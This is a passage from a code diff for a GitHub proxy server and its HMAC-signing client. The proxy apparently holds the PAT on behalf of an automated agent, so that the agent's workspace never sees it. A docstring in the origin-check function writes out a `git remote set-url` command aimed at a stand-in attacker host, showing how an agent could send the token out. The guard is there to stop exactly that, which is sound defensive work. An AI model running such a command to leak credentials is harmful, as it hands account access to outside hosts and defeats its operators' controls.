||||
# `git remote get-url` writes nothing useful to stdout on failure; do
|
||||
# NOT echo stderr to the client (may leak local paths). The proxy log
|
||||
# already captured the failure.
|
||||
log.warning("gh-proxy: failed to read origin url", extra={"repo_dir": str(repo_dir)})
|
||||
raise HTTPException(400, "could not read origin url for worktree")
|
||||
return proc.stdout.strip()
|
||||
|
||||
|
||||
def _assert_origin_safe_for_repo(repo_dir: Path, expected_repo: str, slot_uid: int | None = None) -> None:
|
||||
"""Refuse the push if the worktree's `origin` would leak the PAT.
|
||||
|
||||
The PAT is injected via `--config-env http.extraHeader=…` (see
|
||||
`git_ops._run_git`); git ONLY forwards that header on HTTP(S) requests.
|
||||
So:
|
||||
• If `origin` is HTTPS/HTTP, it MUST resolve to
|
||||
`github.com/<expected_repo>` exactly — anything else and we'd be
|
||||
handing the bot's token to an attacker-controlled host.
|
||||
• Other schemes (ssh, file, git://, …) can't carry the PAT header,
|
||||
so we let them through; the legitimate test path uses local file
|
||||
remotes.
|
||||
|
||||
Without this guard, an agent with shell access in the workspace could
|
||||
`git remote set-url origin https://evil.example/x.git` and the proxy
|
||||
would happily push (with the PAT) to that remote.
|
||||
"""
|
||||
url = _read_origin_url(repo_dir, slot_uid=slot_uid)
|
||||
parsed = urlparse(url)
|
||||
scheme = (parsed.scheme or "").lower()
|
||||
if scheme not in ("http", "https"):
|
||||
return # PAT header is never sent over non-http(s); safe by construction
|
||||
host = (parsed.hostname or "").lower()
|
||||
# Strip optional leading slash, trailing slash, and `.git` suffix.
|
||||
path = parsed.path.strip("/")
|
||||
if path.endswith(".git"):
|
||||
path = path[:-4]
|
||||
if host != "github.com" or path.lower() != expected_repo.lower():
|
||||
log.warning(
|
||||
"gh-proxy: refusing push — origin does not match repo",
|
||||
extra={"expected_repo": expected_repo, "origin_host": host},
|
||||
)
|
||||
raise HTTPException(
|
||||
400,
|
||||
f"origin url does not match repo {expected_repo!r}; refusing to push",
|
||||
)
|
||||
|
||||
|
||||
def create_proxy_app(settings: Settings) -> FastAPI:
|
||||
"""Build the gh-proxy FastAPI app bound to `settings`."""
|
||||
|
||||
@asynccontextmanager
|
||||
async def lifespan(app: FastAPI) -> AsyncIterator[None]:
|
||||
app.state.github = GitHubClient(_resolve_token(settings))
|
||||
app.state.settings = settings
|
||||
yield
|
||||
|
||||
app = FastAPI(title="robomp-gh-proxy", version="0.1.0", lifespan=lifespan)
|
||||
|
||||
def _request_target(request: Request) -> str:
|
||||
"""Canonical signing target: `path` plus raw query string if any.
|
||||
|
||||
Binding the query into the HMAC stops an attacker from replaying a
|
||||
signed `/gh/v1/issue?repo=octo/widget&number=1` against
|
||||
`?repo=octo/widget&number=2`.
|
||||
"""
|
||||
query = request.url.query
|
||||
return f"{request.url.path}?{query}" if query else request.url.path
|
||||
|
||||
async def _read_body_capped(request: Request) -> bytes:
|
||||
"""Read the request body with a hard byte cap.
|
||||
|
||||
Checks `Content-Length` first (cheap reject before any read), then
|
||||
streams chunks via `request.stream()` with a running counter so a
|
||||
client that lies about (or omits) the header still can't get more
|
||||
than `max_bytes` into memory. We deliberately do NOT call
|
||||
`request.body()` first — that would buffer the full payload before
|
||||
auth checks ever run.
|
||||
"""
|
||||
max_bytes = settings.gh_proxy_max_body_bytes
|
||||
cl = request.headers.get("content-length")
|
||||
if cl is not None:
|
||||
try:
|
||||
declared = int(cl)
|
||||
except ValueError as exc:
|
||||
raise HTTPException(400, "invalid content-length") from exc
|
||||
if declared > max_bytes:
|
||||
raise HTTPException(status.HTTP_413_REQUEST_ENTITY_TOO_LARGE, "request body too large")
|
||||
chunks: list[bytes] = []
|
||||
total = 0
|
||||
async for chunk in request.stream():
|
||||
if not chunk:
|
||||
continue
|
||||
total += len(chunk)
|
||||
if total > max_bytes:
|
||||
raise HTTPException(status.HTTP_413_REQUEST_ENTITY_TOO_LARGE, "request body too large")
|
||||
chunks.append(chunk)
|
||||
body = b"".join(chunks)
|
||||
# Starlette's `request.body()` / `request.json()` re-read from
|
||||
# `request._body`. We consumed the stream above, so seed the cache
|
||||
# to keep downstream JSON parsing working without a second read.
|
||||
request._body = body # type: ignore[attr-defined]
|
||||
return body
|
||||
|
||||
async def _authenticate(request: Request) -> bytes:
|
||||
body = await _read_body_capped(request)
|
||||
ts = request.headers.get(HEADER_TIMESTAMP)
|
||||
sig = request.headers.get(HEADER_SIGNATURE)
|
||||
target = _request_target(request)
|
||||
result = verify(
|
||||
method=request.method,
|
||||
path=target,
|
||||
body=body,
|
||||
timestamp=ts,
|
||||
signature=sig,
|
||||
key=_resolve_hmac_key(settings),
|
||||
)
|
||||
if not result.ok:
|
||||
log.warning(
|
||||
"gh-proxy auth rejected",
|
||||
extra={"reason": result.reason, "path": request.url.path},
|
||||
)
|
||||
raise HTTPException(status.HTTP_401_UNAUTHORIZED, "unauthenticated")
|
||||
return body
|
||||
|
||||
# ---- meta ----
|
||||
@app.get("/healthz")
|
||||
async def healthz() -> dict[str, str]:
|
||||
return {"status": "ok"}
|
||||
|
||||
# ---- reads ----
|
||||
@app.get("/gh/v1/authenticated_login")
|
||||
async def authenticated_login(request: Request) -> dict[str, str]:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
login = await github.get_authenticated_login()
|
||||
except GitHubError as exc:
|
||||
raise HTTPException(exc.status, exc.message) from exc
|
||||
return {"login": login}
|
||||
|
||||
@app.get("/gh/v1/repo")
|
||||
async def get_repo(request: Request, repo: str) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
info = await github.get_repo(repo)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse(_serialize(info))
|
||||
|
||||
@app.get("/gh/v1/issue")
|
||||
async def get_issue(request: Request, repo: str, number: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
info = await github.get_issue(repo, number)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse(_serialize(info))
|
||||
|
||||
@app.get("/gh/v1/closing_prs")
|
||||
async def list_closing_prs(request: Request, repo: str, number: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
prs = await github.list_closing_pull_requests(repo, number)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"pr_numbers": list(prs)})
|
||||
|
||||
@app.get("/gh/v1/pull_request")
|
||||
async def get_pull_request(request: Request, repo: str, number: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
info = await github.get_pull_request(repo, number)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse(_serialize(info))
|
||||
|
||||
@app.get("/gh/v1/issues")
|
||||
async def list_issues(request: Request, repo: str, state: str = "open", limit: int = 30) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
items = await github.list_issues(repo, state=state, limit=limit)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"items": [_serialize(s) for s in items]})
|
||||
|
||||
@app.get("/gh/v1/comments")
|
||||
async def list_comments(request: Request, repo: str, number: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
items = await github.list_comments(repo, number)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"items": [_serialize(c) for c in items]})
|
||||
|
||||
@app.get("/gh/v1/review_comments")
|
||||
async def list_review_comments(request: Request, repo: str, pr_number: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
items = await github.list_review_comments(repo, pr_number)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"items": [_serialize(c) for c in items]})
|
||||
|
||||
@app.get("/gh/v1/pr_reviews")
|
||||
async def list_pr_reviews(request: Request, repo: str, pr_number: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
items = await github.list_pr_reviews(repo, pr_number)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"items": [_serialize(r) for r in items]})
|
||||
|
||||
# ---- writes ----
|
||||
async def _json_body(request: Request) -> dict[str, Any]:
|
||||
await _authenticate(request)
|
||||
try:
|
||||
data = await request.json()
|
||||
except Exception as exc:
|
||||
raise HTTPException(400, f"invalid json: {exc}") from exc
|
||||
if not isinstance(data, dict):
|
||||
raise HTTPException(400, "json body must be an object")
|
||||
return data
|
||||
|
||||
@app.post("/gh/v1/post_comment")
|
||||
async def post_comment(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
number = _require_int(data.get("number"), "number")
|
||||
body = _require_str(data.get("body"), "body")
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
info = await github.post_comment(repo, number, body)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse(_serialize(info))
|
||||
|
||||
@app.post("/gh/v1/open_pull_request")
|
||||
async def open_pull_request(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
head = _require_str(data.get("head"), "head")
|
||||
base = _require_str(data.get("base"), "base")
|
||||
title = _require_str(data.get("title"), "title")
|
||||
body = _require_str(data.get("body"), "body")
|
||||
draft = bool(data.get("draft", False))
|
||||
mcm = bool(data.get("maintainer_can_modify", True))
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
pr = await github.open_pull_request(
|
||||
repo=repo,
|
||||
head=head,
|
||||
base=base,
|
||||
title=title,
|
||||
body=body,
|
||||
draft=draft,
|
||||
maintainer_can_modify=mcm,
|
||||
)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse(_serialize(pr))
|
||||
|
||||
@app.post("/gh/v1/request_reviewers")
|
||||
async def request_reviewers(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
pr_number = _require_int(data.get("pr_number"), "pr_number")
|
||||
reviewers = _optional_str_list(data.get("reviewers"), "reviewers")
|
||||
team_reviewers = _optional_str_list(data.get("team_reviewers"), "team_reviewers")
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
await github.request_reviewers(
|
||||
repo=repo,
|
||||
pr_number=pr_number,
|
||||
reviewers=reviewers,
|
||||
team_reviewers=team_reviewers,
|
||||
)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"ok": True})
|
||||
|
||||
@app.post("/gh/v1/add_issue_labels")
|
||||
async def add_issue_labels(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
number = _require_int(data.get("number"), "number")
|
||||
labels = _optional_str_list(data.get("labels"), "labels") or []
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
applied = await github.add_issue_labels(repo, number, labels)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"labels": list(applied)})
|
||||
|
||||
@app.post("/gh/v1/add_assignees")
|
||||
async def add_assignees(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
number = _require_int(data.get("number"), "number")
|
||||
assignees = _optional_str_list(data.get("assignees"), "assignees") or []
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
await github.add_assignees(repo, number, assignees)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"ok": True})
|
||||
|
||||
@app.get("/gh/v1/comment_reactions")
|
||||
async def list_comment_reactions(request: Request, repo: str, comment_id: int) -> JSONResponse:
|
||||
await _authenticate(request)
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
reactions = await github.list_comment_reactions(repo, comment_id)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"items": [_serialize(r) for r in reactions]})
|
||||
|
||||
@app.post("/gh/v1/close_issue")
|
||||
async def close_issue(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
number = _require_int(data.get("number"), "number")
|
||||
reason_raw = data.get("reason")
|
||||
reason = reason_raw if isinstance(reason_raw, str) and reason_raw else "completed"
|
||||
github: GitHubClient = request.app.state.github
|
||||
try:
|
||||
await github.close_issue(repo, number, reason=reason)
|
||||
except GitHubError as exc:
|
||||
return _gh_error_response(exc)
|
||||
return JSONResponse({"ok": True})
|
||||
|
||||
# ---- git transport ----
|
||||
#
|
||||
# The underlying `robomp.git_ops` primitives are blocking `subprocess.run`
|
||||
# calls. Running them directly from an `async def` handler pins the
|
||||
# event loop until the subprocess returns; a hung git would freeze the
|
||||
# whole proxy. We bridge with `asyncio.to_thread` (work on a threadpool
|
||||
# worker) wrapped in `asyncio.wait_for` (hard wall-clock cap, returns
|
||||
# 504 on timeout). The subprocess itself can outlive the timeout — a
|
||||
# proper subprocess.kill plumbing would have to live inside
|
||||
# `git_ops._run_git`; flagged for follow-up.
|
||||
|
||||
async def _run_git_op(fn, *args, **kwargs): # type: ignore[no-untyped-def]
|
||||
try:
|
||||
return await asyncio.wait_for(
|
||||
asyncio.to_thread(fn, *args, **kwargs),
|
||||
timeout=settings.gh_proxy_git_timeout_seconds,
|
||||
)
|
||||
except TimeoutError as exc:
|
||||
log.warning(
|
||||
"gh-proxy: git op exceeded timeout",
|
||||
extra={"op": fn.__name__, "timeout": settings.gh_proxy_git_timeout_seconds},
|
||||
)
|
||||
raise HTTPException(504, f"git {fn.__name__} timed out") from exc
|
||||
|
||||
@app.post("/gh/v1/git/clone")
|
||||
async def git_clone_endpoint(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
clone_url = _require_str(data.get("clone_url"), "clone_url")
|
||||
default_branch = _require_str(data.get("default_branch"), "default_branch")
|
||||
target = _pool_dir(settings, repo)
|
||||
try:
|
||||
await _run_git_op(
|
||||
git_clone,
|
||||
target,
|
||||
clone_url=clone_url,
|
||||
default_branch=default_branch,
|
||||
token=_resolve_token(settings),
|
||||
)
|
||||
except GitCommandError as exc:
|
||||
return _git_error_response(exc)
|
||||
return JSONResponse({"pool_dir": str(target)})
|
||||
|
||||
@app.post("/gh/v1/git/fetch")
|
||||
async def git_fetch_endpoint(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
target = _pool_dir(settings, repo)
|
||||
try:
|
||||
await _run_git_op(git_fetch_prune, target, token=_resolve_token(settings))
|
||||
except GitCommandError as exc:
|
||||
return _git_error_response(exc)
|
||||
return JSONResponse({"pool_dir": str(target)})
|
||||
|
||||
@app.post("/gh/v1/git/fetch_ref")
|
||||
async def git_fetch_ref_endpoint(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
ref = _require_str(data.get("ref"), "ref")
|
||||
target = _pool_dir(settings, repo)
|
||||
# fetch_ref is intentionally best-effort; never surfaces a 5xx.
|
||||
await _run_git_op(git_fetch_ref, target, ref, token=_resolve_token(settings))
|
||||
return JSONResponse({"pool_dir": str(target)})
|
||||
|
||||
@app.post("/gh/v1/git/push")
|
||||
async def git_push_endpoint(request: Request) -> JSONResponse:
|
||||
data = await _json_body(request)
|
||||
repo = _require_str(data.get("repo"), "repo")
|
||||
workspace_key = _require_str(data.get("workspace_key"), "workspace_key")
|
||||
branch = _require_str(data.get("branch"), "branch")
|
||||
expected_head = _require_str(data.get("expected_head"), "expected_head")
|
||||
slot_uid = _optional_slot_uid(data.get("slot_uid"))
|
||||
# Sanity-check workspace_key matches the repo claim.
|
||||
expected_prefix = repo.replace("/", "__") + "__"
|
||||
if not workspace_key.startswith(expected_prefix):
|
||||
raise HTTPException(400, "workspace_key does not match repo")
|
||||
repo_dir = _workspace_repo_dir(settings, workspace_key)
|
||||
if not repo_dir.is_dir():
|
||||
raise HTTPException(404, f"workspace not found: {workspace_key}")
|
||||
# Block attacker-controlled `origin` from being a PAT exfil channel.
|
||||
# MUST run BEFORE any subprocess that would inject the token header.
|
||||
await asyncio.to_thread(_assert_origin_safe_for_repo, repo_dir, repo, slot_uid)
|
||||
try:
|
||||
result = await _run_git_op(
|
||||
git_push,
|
||||
repo_dir,
|
||||
branch=branch,
|
||||
expected_head=expected_head,
|
||||
token=_resolve_token(settings),
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
except HeadDriftError as exc:
|
||||
return _git_error_response(exc, head_drift=True)
|
||||
except GitCommandError as exc:
|
||||
return _git_error_response(exc)
|
||||
return JSONResponse({"head": result.head, "branch": result.branch})
|
||||
|
||||
# Expose for tests
|
||||
app.state.workspace_key_fn = compute_workspace_key # type: ignore[attr-defined]
|
||||
return app
|
||||
|
||||
|
||||
__all__ = ["create_proxy_app"]
|
||||
@@ -0,0 +1,495 @@
|
||||
"""Client half of the roboomp ↔ gh-proxy channel.
|
||||
|
||||
`GitHubProxyClient` implements `GitHubBackend` by HMAC-signing each request
|
||||
and forwarding to gh-proxy. `ProxyGitTransport` implements `GitTransport` by
|
||||
routing clone/fetch/push through the proxy too — roboomp never holds the PAT.
|
||||
|
||||
Both classes share an `httpx.AsyncClient` + `httpx.Client` against the proxy.
|
||||
Tests can inject a custom transport (`httpx.MockTransport` or `ASGITransport`)
|
||||
to short-circuit the network.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
from collections.abc import Mapping
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
|
||||
from robomp.git_ops import GitCommandError, HeadDriftError, PushResult
|
||||
from robomp.github_client import (
|
||||
CommentInfo,
|
||||
GitHubError,
|
||||
IssueInfo,
|
||||
IssueSummary,
|
||||
PullRequestInfo,
|
||||
PullRequestReviewInfo,
|
||||
ReactionInfo,
|
||||
RepoInfo,
|
||||
ReviewCommentInfo,
|
||||
)
|
||||
from robomp.proxy_hmac import HEADER_SIGNATURE, HEADER_TIMESTAMP, sign
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# ---------- error decoding ----------
|
||||
|
||||
|
||||
def _decode_error(resp: httpx.Response) -> Exception:
|
||||
"""Map a non-2xx response from gh-proxy back to a domain exception.
|
||||
|
||||
Proxy errors wrap the GitHub or git failure in `{"error": {...}}`.
|
||||
Anything else is collapsed to a generic GitHubError-shaped exception
|
||||
so callers see a consistent surface.
|
||||
"""
|
||||
body: Any
|
||||
try:
|
||||
body = resp.json()
|
||||
except Exception:
|
||||
body = None
|
||||
if isinstance(body, dict) and isinstance(body.get("error"), dict):
|
||||
err = body["error"]
|
||||
kind = err.get("kind")
|
||||
if kind == "github":
|
||||
return GitHubError(
|
||||
int(err.get("status") or resp.status_code),
|
||||
str(err.get("message") or "github error"),
|
||||
retry_after=err.get("retry_after"),
|
||||
)
|
||||
if kind in ("git", "head_drift"):
|
||||
cmd = err.get("cmd") or ["git"]
|
||||
stdout = str(err.get("stdout") or "")
|
||||
stderr = str(err.get("stderr") or "")
|
||||
returncode = int(err.get("returncode") or 1)
|
||||
klass = HeadDriftError if kind == "head_drift" else GitCommandError
|
||||
return klass(list(cmd), returncode, stdout, stderr)
|
||||
return GitHubError(resp.status_code, resp.text or "proxy error")
|
||||
|
||||
|
||||
# ---------- signing helpers ----------
|
||||
|
||||
|
||||
def _signed_headers(method: str, target: str, body: bytes, key: bytes) -> dict[str, str]:
|
||||
"""Return signing headers for an already-canonicalized request target.
|
||||
|
||||
`target` is `path` for query-less requests and `path?query` for GETs
|
||||
that carry parameters. It MUST byte-for-byte match the server-side
|
||||
`_request_target(request)` so HMAC verification succeeds — that's why
|
||||
the async path below builds an `httpx.Request` first and reads the
|
||||
encoded URL back out rather than re-encoding params here.
|
||||
"""
|
||||
ts, sig = sign(method=method, path=target, body=body, key=key)
|
||||
return {HEADER_TIMESTAMP: ts, HEADER_SIGNATURE: sig}
|
||||
|
||||
|
||||
# ---------- GitHubProxyClient ----------
|
||||
|
||||
|
||||
class GitHubProxyClient:
|
||||
"""HMAC-signed REST client speaking to a `robomp.proxy.server` instance.
|
||||
|
||||
Implements `GitHubBackend` (duck-typed). Returns the same typed
|
||||
dataclasses as the in-process `GitHubClient`, so call sites in worker,
|
||||
tasks, host_tools, server, and CLI work unchanged.
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
base_url: str,
|
||||
hmac_key: str | bytes,
|
||||
transport: httpx.BaseTransport | httpx.AsyncBaseTransport | None = None,
|
||||
timeout: float = 30.0,
|
||||
) -> None:
|
||||
self._base_url = base_url.rstrip("/")
|
||||
self._key = hmac_key.encode("utf-8") if isinstance(hmac_key, str) else hmac_key
|
||||
self._transport = transport
|
||||
self._timeout = httpx.Timeout(timeout, connect=10.0)
|
||||
|
||||
def _async_client(self) -> httpx.AsyncClient:
|
||||
return httpx.AsyncClient(
|
||||
base_url=self._base_url,
|
||||
transport=self._transport, # type: ignore[arg-type]
|
||||
timeout=self._timeout,
|
||||
)
|
||||
|
||||
async def _request(
|
||||
self,
|
||||
method: str,
|
||||
path: str,
|
||||
*,
|
||||
params: Mapping[str, Any] | None = None,
|
||||
json_body: Mapping[str, Any] | None = None,
|
||||
) -> Any:
|
||||
body_bytes = b"" if json_body is None else json.dumps(json_body).encode("utf-8")
|
||||
async with self._async_client() as client:
|
||||
# Build the request first so httpx canonicalizes the URL once;
|
||||
# we then sign against the encoded query string the wire will
|
||||
# carry. Signing before this point would mean re-implementing
|
||||
# httpx's param encoding, with a high risk of byte-level drift
|
||||
# from the server's `request.url.query`.
|
||||
req = client.build_request(
|
||||
method,
|
||||
path,
|
||||
params=params,
|
||||
content=body_bytes if json_body is not None else None,
|
||||
)
|
||||
target = req.url.path
|
||||
if req.url.query:
|
||||
target = f"{target}?{req.url.query.decode('ascii')}"
|
||||
req.headers.update(_signed_headers(method, target, body_bytes, self._key))
|
||||
if json_body is not None:
|
||||
req.headers["Content-Type"] = "application/json"
|
||||
resp = await client.send(req)
|
||||
if resp.status_code >= 400:
|
||||
raise _decode_error(resp)
|
||||
if resp.status_code == 204 or not resp.content:
|
||||
return None
|
||||
return resp.json()
|
||||
|
||||
# ---- reads ----
|
||||
async def get_repo(self, repo: str) -> RepoInfo:
|
||||
data = await self._request("GET", "/gh/v1/repo", params={"repo": repo})
|
||||
return _repo_from(data)
|
||||
|
||||
async def get_issue(self, repo: str, number: int) -> IssueInfo:
|
||||
data = await self._request("GET", "/gh/v1/issue", params={"repo": repo, "number": number})
|
||||
return _issue_from(data)
|
||||
|
||||
async def list_closing_pull_requests(self, repo: str, number: int) -> tuple[int, ...]:
|
||||
data = await self._request("GET", "/gh/v1/closing_prs", params={"repo": repo, "number": number})
|
||||
items = data.get("pr_numbers") if isinstance(data, dict) else None
|
||||
return tuple(int(n) for n in items or () if isinstance(n, int))
|
||||
|
||||
async def get_pull_request(self, repo: str, number: int) -> PullRequestInfo:
|
||||
data = await self._request("GET", "/gh/v1/pull_request", params={"repo": repo, "number": number})
|
||||
return _pr_from(data)
|
||||
|
||||
async def list_issues(
|
||||
self,
|
||||
repo: str,
|
||||
*,
|
||||
state: str = "open",
|
||||
limit: int = 30,
|
||||
) -> list[IssueSummary]:
|
||||
data = await self._request(
|
||||
"GET",
|
||||
"/gh/v1/issues",
|
||||
params={"repo": repo, "state": state, "limit": limit},
|
||||
)
|
||||
return [_issue_summary_from(item) for item in (data.get("items") if isinstance(data, dict) else None) or []]
|
||||
|
||||
async def list_comments(self, repo: str, number: int) -> list[CommentInfo]:
|
||||
data = await self._request("GET", "/gh/v1/comments", params={"repo": repo, "number": number})
|
||||
return [_comment_from(item) for item in (data.get("items") if isinstance(data, dict) else None) or []]
|
||||
|
||||
async def list_review_comments(self, repo: str, pr_number: int) -> list[ReviewCommentInfo]:
|
||||
data = await self._request(
|
||||
"GET",
|
||||
"/gh/v1/review_comments",
|
||||
params={"repo": repo, "pr_number": pr_number},
|
||||
)
|
||||
return [_review_comment_from(item) for item in (data.get("items") if isinstance(data, dict) else None) or []]
|
||||
|
||||
async def list_pr_reviews(self, repo: str, pr_number: int) -> list[PullRequestReviewInfo]:
|
||||
data = await self._request(
|
||||
"GET",
|
||||
"/gh/v1/pr_reviews",
|
||||
params={"repo": repo, "pr_number": pr_number},
|
||||
)
|
||||
return [_pr_review_from(item) for item in (data.get("items") if isinstance(data, dict) else None) or []]
|
||||
|
||||
async def get_authenticated_login(self) -> str:
|
||||
data = await self._request("GET", "/gh/v1/authenticated_login")
|
||||
return str(data["login"]) if isinstance(data, dict) else ""
|
||||
|
||||
# ---- writes ----
|
||||
async def post_comment(self, repo: str, number: int, body: str) -> CommentInfo:
|
||||
data = await self._request(
|
||||
"POST",
|
||||
"/gh/v1/post_comment",
|
||||
json_body={"repo": repo, "number": number, "body": body},
|
||||
)
|
||||
return _comment_from(data)
|
||||
|
||||
async def open_pull_request(
|
||||
self,
|
||||
*,
|
||||
repo: str,
|
||||
head: str,
|
||||
base: str,
|
||||
title: str,
|
||||
body: str,
|
||||
draft: bool = False,
|
||||
maintainer_can_modify: bool = True,
|
||||
) -> PullRequestInfo:
|
||||
data = await self._request(
|
||||
"POST",
|
||||
"/gh/v1/open_pull_request",
|
||||
json_body={
|
||||
"repo": repo,
|
||||
"head": head,
|
||||
"base": base,
|
||||
"title": title,
|
||||
"body": body,
|
||||
"draft": draft,
|
||||
"maintainer_can_modify": maintainer_can_modify,
|
||||
},
|
||||
)
|
||||
return _pr_from(data)
|
||||
|
||||
async def request_reviewers(
|
||||
self,
|
||||
*,
|
||||
repo: str,
|
||||
pr_number: int,
|
||||
reviewers: list[str] | None = None,
|
||||
team_reviewers: list[str] | None = None,
|
||||
) -> None:
|
||||
if not reviewers and not team_reviewers:
|
||||
return
|
||||
await self._request(
|
||||
"POST",
|
||||
"/gh/v1/request_reviewers",
|
||||
json_body={
|
||||
"repo": repo,
|
||||
"pr_number": pr_number,
|
||||
"reviewers": reviewers,
|
||||
"team_reviewers": team_reviewers,
|
||||
},
|
||||
)
|
||||
|
||||
async def add_issue_labels(self, repo: str, number: int, labels: list[str]) -> tuple[str, ...]:
|
||||
if not labels:
|
||||
return ()
|
||||
data = await self._request(
|
||||
"POST",
|
||||
"/gh/v1/add_issue_labels",
|
||||
json_body={"repo": repo, "number": number, "labels": labels},
|
||||
)
|
||||
return tuple(str(lbl) for lbl in (data.get("labels") if isinstance(data, dict) else None) or [])
|
||||
|
||||
async def add_assignees(self, repo: str, number: int, assignees: list[str]) -> None:
|
||||
if not assignees:
|
||||
return
|
||||
await self._request(
|
||||
"POST",
|
||||
"/gh/v1/add_assignees",
|
||||
json_body={"repo": repo, "number": number, "assignees": assignees},
|
||||
)
|
||||
|
||||
async def list_comment_reactions(self, repo: str, comment_id: int) -> tuple[ReactionInfo, ...]:
|
||||
data = await self._request(
|
||||
"GET",
|
||||
"/gh/v1/comment_reactions",
|
||||
params={"repo": repo, "comment_id": comment_id},
|
||||
)
|
||||
items = data.get("items") if isinstance(data, dict) else None
|
||||
return tuple(_reaction_from(item) for item in items or ())
|
||||
|
||||
async def close_issue(self, repo: str, number: int, *, reason: str = "completed") -> None:
|
||||
await self._request(
|
||||
"POST",
|
||||
"/gh/v1/close_issue",
|
||||
json_body={"repo": repo, "number": number, "reason": reason},
|
||||
)
|
||||
|
||||
|
||||
# ---------- ProxyGitTransport ----------
|
||||
|
||||
|
||||
class ProxyGitTransport:
|
||||
"""Routes clone/fetch/push to gh-proxy over the same HMAC channel.
|
||||
|
||||
Uses a synchronous httpx client because the SandboxManager call sites
|
||||
are synchronous; the proxy itself is asynchronous internally but we
|
||||
bridge with a one-shot sync request per call.
|
||||
"""
|
||||
|
||||
__slots__ = ("_base_url", "_key", "_transport", "_timeout")
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
base_url: str,
|
||||
hmac_key: str | bytes,
|
||||
transport: httpx.BaseTransport | None = None,
|
||||
timeout: float = 120.0,
|
||||
) -> None:
|
||||
self._base_url = base_url.rstrip("/")
|
||||
self._key = hmac_key.encode("utf-8") if isinstance(hmac_key, str) else hmac_key
|
||||
self._transport = transport
|
||||
self._timeout = httpx.Timeout(timeout, connect=10.0)
|
||||
|
||||
def _client(self) -> httpx.Client:
|
||||
return httpx.Client(
|
||||
base_url=self._base_url,
|
||||
transport=self._transport,
|
||||
timeout=self._timeout,
|
||||
)
|
||||
|
||||
def _post(self, path: str, body: Mapping[str, Any]) -> Mapping[str, Any]:
|
||||
body_bytes = json.dumps(body).encode("utf-8")
|
||||
headers = _signed_headers("POST", path, body_bytes, self._key)
|
||||
headers["Content-Type"] = "application/json"
|
||||
with self._client() as client:
|
||||
resp = client.request("POST", path, content=body_bytes, headers=headers)
|
||||
if resp.status_code >= 400:
|
||||
raise _decode_error(resp)
|
||||
if resp.status_code == 204 or not resp.content:
|
||||
return {}
|
||||
data = resp.json()
|
||||
return data if isinstance(data, dict) else {}
|
||||
|
||||
def clone_pool(self, *, repo: str, clone_url: str, default_branch: str, target: Path) -> None:
